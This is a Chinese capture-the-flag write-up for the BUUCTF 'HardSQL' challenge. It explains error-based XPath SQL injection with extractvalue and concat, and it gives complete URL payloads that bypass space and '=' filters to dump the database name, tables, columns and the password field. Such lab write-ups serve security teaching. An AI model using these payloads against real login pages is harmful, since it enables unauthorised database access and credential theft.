标签：xml 极客 extractvalue admin HardSQL 报错 2019 password concat
1.发现
1.1打开题目地址提示为SQL注入，随便输入1/'/"/，
发现单引号有报错，双引号没有，没提示有括号，
所以应该是普通单引号闭合的字符型注入点
2.输入' or '1'='1/ 1' and '1'='1
发现没有报错，提示相同
出现这行字说明输入的被过滤，一个字符一个字符测试，
发现如and/空格/union/select/=//**/等都被过滤了。
最后，我们发现这道题是xpath报错注入，函数注入
知识点
1）报错函数注入
extractvalue(1,concat(07xe,执行语句))
updatexml(1,concat(07xe,执行语句),1)
extractvalue()
extractvalue() :对XML文档进行查询的函数
语法：extractvalue(目标xml文档，xml路径)
第一个参数 : 第一个参数可以传入目标xml文档
第二个参数： xml中的位置是可操作的地方，xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式，如果我们写入其他格式，就会报错，并且会返回我们写入的非法格式内容，而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
tip: 还有要注意的地方是，它能够查询的字符串长度最大是32个字符，如果超过32位，我们就需要用函数来查询，比如right(),left()，substr()来截取字符串
再举个栗子：
SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 这个语句就是寻找前一段xml文档内容中的a节点下的b节点，这里如果Xpath格式语法书写错误的话，就会报错。这里就是利用这个特性来获得我们想要知道的内容。
2）concat函数
利用concat函数将想要获得的数据库内容拼接到第二个参数中，报错时作为内容输出。
3）用’^'来连接函数，形成异或
2.步骤
2.1我们先去爆数据库：先构造payload:
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(database()))))%23
2.2然后，我们再payload爆表名，但是这里把等于号给我们过滤了，
不过我们还有骚操作like用法
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
2.3 爆列名：
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
2.4爆数据把password查出来
2.5 flag出来了，不对好像只有一半，使用{left(),right()}
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23 /check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
知识点
1）{left(),right()}函数
3.借鉴
BUUCTF-[极客大挑战 2019]HardSQL 1详解 - 爱码网 (likecs.com)
(30条消息) BUUCTF Writeup-Web-[极客大挑战 2019]HardSQL 1_菜鸟之路 -CSDN博客
BUUCTF-[极客大挑战 2019]HardSQL 记录 - 简书 (jianshu.com)
(30条消息) CTF-Web-[极客大挑战 2019]HardSQL_归子莫的博客-CSDN博客
标签：xml,极客,extractvalue,admin,HardSQL,报错,2019,password,concat 来源： https://www.cnblogs.com/WHOAMI-xiaoyu/p/15418383.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。